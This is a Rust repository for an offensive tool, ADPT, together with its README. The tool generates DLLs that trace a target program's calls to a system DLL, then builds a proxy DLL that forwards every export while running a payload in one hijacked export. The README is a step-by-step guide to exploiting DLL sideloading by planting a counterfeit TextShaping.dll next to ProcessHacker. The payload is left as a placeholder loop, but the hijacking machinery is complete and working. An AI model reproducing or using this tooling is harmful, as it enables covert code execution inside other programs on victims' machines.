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Kudaes
2024-03-21 12:31:54 +01:00
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# Generated by Cargo
# will have compiled files and executables
debug/
target/
# Remove Cargo.lock from gitignore if creating an executable, leave it for libraries
# More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html
Cargo.lock
# These are backup files generated by rustfmt
**/*.rs.bk
# MSVC Windows builds of rustc generate these, which store debugging information
*.pdb
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# Generated by Cargo
# will have compiled files and executables
debug/
target/
# Remove Cargo.lock from gitignore if creating an executable, leave it for libraries
# More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html
Cargo.lock
# These are backup files generated by rustfmt
**/*.rs.bk
# MSVC Windows builds of rustc generate these, which store debugging information
*.pdb
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[package]
name = "exporttracer"
version = "0.1.0"
edition = "2021"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[lib]
crate-type = ["cdylib"]
[dependencies]
dinvoke_rs= "0.1.4"
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# Generated by Cargo
# will have compiled files and executables
debug/
target/
# Remove Cargo.lock from gitignore if creating an executable, leave it for libraries
# More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html
Cargo.lock
# These are backup files generated by rustfmt
**/*.rs.bk
# MSVC Windows builds of rustc generate these, which store debugging information
*.pdb
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[package]
name = "generator"
version = "0.1.0"
edition = "2021"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[dependencies]
dinvoke_rs = "0.1.4"
getopts = "0.2"
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use std::{env, fs::{self}};
use getopts::Options;
static TEMPLATE1: &str = r#"
#[no_mangle]
fn {FUNC_NAME}()
{
unsafe
{
asm!(
"push rcx",
"push rdx",
"push r8",
"push r9",
"sub rsp, 0x28",
"mov rcx, {INDEX}",
"call {}",
"add rsp, 0x28",
"pop r9",
"pop r8",
"pop rdx",
"pop rcx",
"jmp rax",
sym gateway,
options(nostack)
);
}
}
"#;
static TEMPLATE2: &str = r#"{NUM} => {"{NAME}".to_string()}"#;
static TEMPLATE3: &str = r#"#[no_mangle]
fn {FORWARDED_NAME}() {
}"#;
fn main()
{
let args: Vec<String> = env::args().collect();
let program = args[0].clone();
let mut opts = Options::new();
opts.reqopt("m", "mode", "Create a dll to trace (trace) or proxy (proxy) called exports.", "");
opts.optflag("h", "help", "Print this help menu.");
opts.reqopt("p", "path", "Path to the original dll.", "");
opts.optopt("e", "export", "Exported function in which to execute the payload.", "");
opts.optopt("l", "logpath", r"Path in which to write the log file [default: C:\Windows\Temp\result.log].", "");
opts.optflag("n", "native", "Use NtCreateThreadEx instead of std::thread to run the payload.");
opts.optflag("c", "current-thread", "Hijack the current thread instead of running the payload on a new thread.");
let matches = match opts.parse(&args[1..])
{
Ok(m) => { m }
Err(_) => {print_usage(&program, opts); return; }
};
if matches.opt_present("h")
{
print_usage(&program, opts);
return;
}
let mut log_path = r"C:\Windows\Temp\result.log".to_string();
let mut hijacked_export = String::new();
let mut native = "false".to_string();
let mut hijack = false;
let path = matches.opt_str("p").unwrap();
let mode = matches.opt_str("m").unwrap();
if matches.opt_present("l") {
log_path = matches.opt_str("l").unwrap()
}
if matches.opt_present("e") {
hijacked_export = matches.opt_str("e").unwrap()
}
if matches.opt_present("n") {
native = "true".to_string();
}
if matches.opt_present("c") {
hijack = true;
}
if mode == "trace" {
generate_tracer_dll(path, log_path);
}else {
generate_proxy_dll(path, hijacked_export, native, hijack);
}
println!("[+] Process completed.")
}
fn print_usage(program: &str, opts: Options) {
let brief = format!(r"Usage: {} -m trace|proxy -p C:\Windows\System32\textshaping.dll [options]", program);
print!("{}", opts.usage(&brief));
}
fn generate_tracer_dll(original_dll_path: String, log_path: String)
{
let loaded_dll = dinvoke_rs::dinvoke::load_library_a(&original_dll_path);
if loaded_dll == 0 {
return;
}
let names_info = get_function_info(loaded_dll);
let number_of_functions: String = names_info.len().to_string();
let mut first_string = String::new();
let mut second_string = "\nfn get_function_name(index: i32) -> String\n{\n\tmatch index\n\t{".to_string();
let mut def_file_string = "EXPORTS\n".to_string();
for (i,name) in names_info.iter().enumerate()
{
let template1 = TEMPLATE1.replace("{FUNC_NAME}", &name.0).replace("{INDEX}", &i.to_string());
first_string.push_str(&template1);
let template2 = TEMPLATE2.replace("{NUM}", &i.to_string()).replace("{NAME}", &name.0);
second_string.push_str("\n\t\t");
second_string.push_str(&template2);
let export_string = format!("{} @{}\n",&name.0, name.1);
def_file_string.push_str(&export_string);
}
let ending = "\n\t\t_ => {String::new()}\n\t}\n} ";
second_string.push_str(ending);
let path = env::current_exe().unwrap();
let path = path.to_str().unwrap();
let path = path.replace("generator.exe", "");
let template_path = format!("{}{}", &path, r"..\..\template1.txt");
let mut content = fs::read_to_string(&template_path).expect("[x] Couldn't read template1.txt file.");
content = content.replace("{DLL_NAME}", &original_dll_path)
.replace("{NUM_FUNCTIONS}", &number_of_functions)
.replace("{LOG_PATH}", &log_path);
content.push_str(&first_string);
content.push_str(&second_string);
let lib_path = format!("{}{}", path, r"..\..\..\ExportTracer\src\lib.rs");
let _ = fs::write(lib_path, content);
let def_path = format!("{}{}", path, r"..\..\..\ExportTracer\file.def").replace(r"\", r"\\");
let _ = fs::write(&def_path, def_file_string);
let config_path = format!("{}{}", path, r"..\..\..\ExportTracer\.cargo\config");
let template_path: String = format!("{}{}", &path, r"..\..\template3.txt");
let mut config_content = fs::read_to_string(&template_path).expect("[x] Couldn't read cargo.toml file.");
config_content = config_content.replace("{DEF_PATH}", &def_path);
let _ = fs::write(config_path, config_content);
}
fn generate_proxy_dll(original_dll_path: String, hijacked_export: String, native: String, hijack: bool)
{
let loaded_dll = dinvoke_rs::dinvoke::load_library_a(&original_dll_path);
if loaded_dll == 0 {
return;
}
let names_info = get_function_info(loaded_dll);
let number_of_functions: String = names_info.len().to_string();
let module_name = original_dll_path.replace(".dll","");
let mut first_string = String::new();
let mut second_string = "\nfn get_function_name(index: i32) -> String\n{\n\tmatch index\n\t{".to_string();
let mut third_string: String = String::new();
let mut def_file_string = "EXPORTS\n".to_string();
for (i,name) in names_info.iter().enumerate()
{
if &name.0 == &hijacked_export
{
let template1 = TEMPLATE1.replace("{FUNC_NAME}", &name.0).replace("{INDEX}", &i.to_string());
first_string.push_str(&template1);
let template2 = TEMPLATE2.replace("{NUM}", &i.to_string()).replace("{NAME}", &name.0);
second_string.push_str("\n\t\t");
second_string.push_str(&template2);
let export_string = format!("{} @{}\n",&name.0, name.1);
def_file_string.push_str(&export_string);
}
else
{
let template3 = TEMPLATE3.replace("{FORWARDED_NAME}", &name.0);
third_string.push_str(&template3);
third_string.push('\n');
let export_string = format!("{}={}.{} @{}\n", &name.0, module_name, &name.0, name.1);
def_file_string.push_str(&export_string);
}
}
let ending = "\n\t\t_ => {String::new()}\n\t}\n} ";
second_string.push_str(ending);
let path = env::current_exe().unwrap();
let path = path.to_str().unwrap();
let path = path.replace("generator.exe", "");
let template_path;
if !hijack {
template_path = format!("{}{}", &path, r"..\..\template2.txt");
} else {
template_path = format!("{}{}", &path, r"..\..\template4.txt");
}
let mut content = fs::read_to_string(&template_path).expect("[x] Couldn't read template2.txt file.");
content = content.replace("{DLL_NAME}", &original_dll_path)
.replace("{NUM_FUNCTIONS}", &number_of_functions)
.replace("{NATIVE}", &native);
content.push_str(&first_string);
content.push_str(&third_string);
content.push_str(&second_string);
let lib_path = format!("{}{}", path, r"..\..\..\ProxyDll\src\lib.rs");
let _ = fs::write(lib_path, content);
let def_path = format!("{}{}", path, r"..\..\..\ProxyDll\file.def").replace(r"\", r"\\");
let _ = fs::write(&def_path, def_file_string);
let config_path = format!("{}{}", path, r"..\..\..\ProxyDll\.cargo\config");
let template_path: String = format!("{}{}", &path, r"..\..\template3.txt");
let mut config_content = fs::read_to_string(&template_path).expect("[x] Couldn't read cargo.toml file.");
config_content = config_content.replace("{DEF_PATH}", &def_path);
let _ = fs::write(config_path, config_content);
}
pub fn get_function_info(module_base_address: isize) -> Vec<(String,u32)> {
unsafe
{
let mut functions_info: Vec<(String, u32)> = vec![];
let pe_header = *((module_base_address + 0x3C) as *mut i32);
let opt_header: isize = module_base_address + (pe_header as isize) + 0x18;
let magic = *(opt_header as *mut i16);
let p_export: isize;
if magic == 0x010b {
p_export = opt_header + 0x60;
}
else {
p_export = opt_header + 0x70;
}
let export_rva = *(p_export as *mut i32);
let ordinal_base = *((module_base_address + export_rva as isize + 0x10) as *mut u32);
let number_of_names = *((module_base_address + export_rva as isize + 0x18) as *mut u32);
let names_rva = *((module_base_address + export_rva as isize + 0x20) as *mut u32);
let ordinals_rva = *((module_base_address + export_rva as isize + 0x24) as *mut u32);
for x in 0..number_of_names
{
let address = *((module_base_address + names_rva as isize + x as isize * 4) as *mut i32);
let ordinal = *((module_base_address + ordinals_rva as isize + x as isize * 2) as *mut u16);
let mut function_name_ptr = (module_base_address + address as isize) as *mut u8;
let mut function_name: String = "".to_string();
while *function_name_ptr as char != '\0' // null byte
{
function_name.push(*function_name_ptr as char);
function_name_ptr = function_name_ptr.add(1);
}
let func_ordinal = ordinal_base + ordinal as u32;
functions_info.push((function_name,func_ordinal));
}
functions_info
}
}
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use std::arch::asm;
use std::io::prelude::*;
use std::{fs, process};
const DLL_NAME: &str = r"{DLL_NAME}";
const LOG_NAME: &str = r"{LOG_PATH}";
static mut ADDRESSES: [isize;{NUM_FUNCTIONS}] = [0;{NUM_FUNCTIONS}];
fn terminate_process()
{
let mut file = fs::OpenOptions::new().create(true).append(true).open(LOG_NAME).unwrap();
file.write_all(b"Error ocurred!").unwrap();
process::exit(-1);
}
fn gateway(index: i32) -> isize
{
let func_name = get_function_name(index);
if func_name.is_empty()
{
return (terminate_process as *const()) as isize;
}
unsafe
{
if ADDRESSES[index as usize] != 0
{
let mut file = fs::OpenOptions::new().create(true).append(true).open(LOG_NAME).unwrap();
file.write_all(func_name.as_bytes()).unwrap();
file.write_all(b"\n").unwrap();
return ADDRESSES[index as usize];
}
}
let mut file = fs::OpenOptions::new().create(true).append(true).open(LOG_NAME).unwrap();
file.write_all(func_name.as_bytes()).unwrap();
file.write_all(b"\n").unwrap();
let dll_address = dinvoke_rs::dinvoke::load_library_a(DLL_NAME);
if dll_address == 0
{
return (terminate_process as *const()) as isize;
}
let func_address = dinvoke_rs::dinvoke::get_function_address(dll_address, &func_name);
unsafe
{
ADDRESSES[index as usize] = func_address;
}
func_address
}
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use std::arch::asm;
use std::sync::{Arc, Mutex};
use std::{ptr, thread};
use dinvoke_rs::data::PVOID;
use lazy_static::lazy_static;
use windows::Win32::Foundation::HANDLE;
const NATIVE: bool = {NATIVE};
const DLL_NAME: &str = r"{DLL_NAME}";
static mut ADDRESS: isize = 0;
lazy_static! {
static ref MUTEX: Arc<Mutex<i32>> = Arc::new(Mutex::new(0));
}
fn gateway(index: i32) -> isize
{
let flag = Arc::clone(&MUTEX);
let mut flag = flag.lock().unwrap();
if *flag == 0
{
*flag += 1;
if NATIVE
{
unsafe
{
let h = HANDLE::default();
let handle: *mut HANDLE = std::mem::transmute(&h);
let phand = HANDLE(-1);
let thread_start_address = payload_execution as *const();
let start_routine: PVOID = std::mem::transmute(thread_start_address);
let ret = dinvoke_rs::dinvoke::nt_create_thread_ex(
handle,
0x1FFFFF,
ptr::null_mut(),
phand,
start_routine,
ptr::null_mut(),
0,0,0,0,
ptr::null_mut()
);
if ret != 0
{
thread::spawn(|| {
payload_execution();
});
}
}
}
else
{
thread::spawn(|| {
payload_execution();
});
}
}
unsafe
{
if ADDRESS != 0
{
return ADDRESS;
}
}
let func_name = get_function_name(index);
if func_name.is_empty()
{
return 0;
}
let dll_address = dinvoke_rs::dinvoke::load_library_a(DLL_NAME);
if dll_address == 0
{
return 0;
}
let func_address = dinvoke_rs::dinvoke::get_function_address(dll_address, &func_name);
unsafe
{
ADDRESS = func_address;
}
func_address
}
fn payload_execution()
{
loop {} // Here is where your code goes
}
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[build]
target = "x86_64-pc-windows-msvc"
rustflags = [
"-C", "link-arg=/DEF:{DEF_PATH}",
#"-C", "link-arg=/FORCE:MULTIPLE"
]
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use std::arch::asm;
use std::sync::{Arc, Mutex};
use lazy_static::lazy_static;
lazy_static! {
static ref MUTEX: Arc<Mutex<i32>> = Arc::new(Mutex::new(0));
}
fn gateway(index: i32)
{
let flag = Arc::clone(&MUTEX);
let mut flag = flag.lock().unwrap();
if *flag == 0
{
*flag += 1;
payload_execution();
}
loop {} // Hijack current thread, don't let the process exit
}
fn payload_execution()
{
loop {} // Here is where your code goes
}
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Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
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# Generated by Cargo
# will have compiled files and executables
debug/
target/
# Remove Cargo.lock from gitignore if creating an executable, leave it for libraries
# More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html
Cargo.lock
# These are backup files generated by rustfmt
**/*.rs.bk
# MSVC Windows builds of rustc generate these, which store debugging information
*.pdb
+19
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[package]
name = "proxydll"
version = "0.1.0"
edition = "2021"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[lib]
crate-type = ["cdylib"]
[dependencies]
dinvoke_rs= "0.1.4"
lazy_static = "*"
[dependencies.windows]
version = "0.51"
features = [
"Win32_Foundation"
]
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# Description
Another Dll Proxying Tool is exactly what it sounds like, another tool that allows you to automate the exploitation of dll hijack/sideloading opportunities. The goal was to create a simple tool for lazy people like me, meaning that I could abuse this hijack opportunities without the need to:
* Open Api Monitor or reverse anything in order to find out which exported functions from the original dll are being called in the first place.
* Use GHidra or any other reversing tool in order to obtain any function's signature (in/out parameters and so on).
* Translate C types and structs to Rust in order to recreate those exported function definitions.
* Run my payload on DllMain.
With just a little bit of assembly code you can avoid all of those annoying steps, making the exploitation of this hijack opportunities pretty fast and simple. Besides that, ADPT comes with a few additional features that I've found useful:
* Proxied exported functions also keep the original ordinals values, meaning that they can be called that way instead of by name.
* You can run your payload in the calling thread instead of spawning a new one, allowing you to hijack the program execution. This is useful in some cases to prevent the process from dying.
* The payload can be run on a separate thread either by using `std::thread` or using a native method (`NtCreateThreadEx`). IDK why would this be useful, but whatever.
The "bad" news are:
* You still need to use Procmon like tools to identify the hijack opportunity.
* Your payload has to be written in Rust :) (or you could write it in any other language, compile it to a dll and use [Dinvoke_rs](https://github.com/Kudaes/DInvoke_rs) to map it into the process...).
* This tool only supports 64 bits dlls.
# Structure
This tool contains three different projects:
* `Generator` is the main one and its goal is to programmatically create the dlls needed to automate the exploitation of the hijack opportunities.
* `ExportTracer` is a template project that is used to create a dll that will trace the exported functions called by the vulnerable binary. This allows you to identify in which exported function put your payload code.
* Once we have find out which exported function from the original dll we want to hijack, `ProxyDll` is used as a template project in order to generate the final dll, allowing you to add your payload code on it.
All of these projects must be compiled on `release` mode. Initally, both `ExportTracer` and `ProxyDll` will be empty, so you just need to compile `Generator` in order to start using the tool.
I'm using relative paths within this tool, so keep the three projects in the same directory to prevent failures.
# Usage
A while ago [I commented on Twitter](https://twitter.com/_Kudaes_/status/1648749432635105280) about what I called a "delayed" dll sideloading opportunity on `gdi32full.dll`. This dll, after some specific actions, will delayed-import the `TextShaping` dll, creating all sort of hijacking opportunities. In order to prove the ADPT usage, I'll show you how to exploit this dll sideload on ProcessHacker (which is one of the countless binaries that suffer from this delayed dll sideloading thing).
First, we need to figure out which TextShaping.dll's (which is by default located at `C:\Windows\System32\textshaping.dll`) exported functions are being called from ProcessHacker. To do so, we use `Generator` to create a tracing dll:
C:\Users\User\Desktop\ADPT\Generator\target\release> generator.exe -m trace -p C:\Windows\System32\TextShaping.dll
This command will generate the code and files required by the `ExportTracer` project. Once completed, compile `ExportTracer` on `release` mode, which should generate the file `.\ExportTracer\target\x86_64-pc-windows-msvc\release\exporttracer.dll`. Rename this dll to `TextShaping.dll` and plant it on ProcessHacker directory. Then, just fire up ProcessHacker. The tracer dll will log each one of the called exported functions to a log file, which by default will be written to `C:\Windows\Temp\result.log`. You can change the location of this log file at the time of creating the tracer dll by using the flag `-l`.
The log file will contain one line for each called exported function, allowing you to obtain the name of those functions and in which order they are being called. Below you can see an example of this log file:
![Called functions log file example.](/Images/LogFile.PNG "Called functions log file example.")
With that info, you just need to indicate to the `Generator` the exported function that you want to use in order to run your payload. I'm going to use the first function that has been called, `ShapingCreateFontCacheData`:
C:\Users\User\Desktop\ADPT\Generator\target\release> generator.exe -m proxy -p C:\Windows\System32\TextShaping.dll -e ShapingCreateFontCacheData
Similarly to the previous command, this one will create the files required by the `ProxyDll` template project. Once the command has been completed, you can add your payload code in `.\ProxyDll\src\lib.rs:payload_execution()`. By default, the payload is just an infinite loop, which allows you to check that the sideloading has been successful by inspecting the process' threads. But before that, remember to compile the `ProxyDll` project on `release` mode, which will generate the file `.\ProxyDll\target\x86_64-pc-windows-msvc\release\proxydll.dll`. Once again, rename that file to `TextShaping.dll` and plant it on the ProcessHacker directory. Run ProcessHacker one more time and check that the new thread running the infinite loop has been spawned.
![Payload running on a new thread.](/Images/PH.PNG "Payload running on a new thread.")
As it can be seen, our payload is running on the thread with TID `4032`. The payload will run just once. All the exported functions, including the one used to run the payload, are in the end proxied to the corresponding function of the original `TextShaping` dll, allowing the process to run normally. I mean, as any other dll proxying tool would do. Just check the `Modules` tab in PH to see that both dlls are loaded in the process:
![Dll proxying going on.](/Images/Proxy.PNG "Dll proxying going on.")
Finally, some binaries will terminate the process if you dont hijack the calling thread. To prevent them from doing so, the current thread can be hijacked by using the flag `-c`. In that case, the hijacked exported function won't spawn a new thread to run the payload, but instead it will be run in on the current thread, preventing it from reaching the process termination point.
# Considerations
Some issues may arise when trying to use this tool, but in my experience they are simple to fix or circumvent:
* If at the time of compiling the tracer or proxy dll you are getting `error LNK2005: symbol already defined` error messages from the linker, just uncomment the line 5 of the `.cargo\config` file and try again.
* If for any reason you need to statically link the C runtime in your dlls, [check this out](https://github.com/Kudaes/rust_tips_and_tricks?tab=readme-ov-file#vcruntime).
If you find any other issue, report it to me!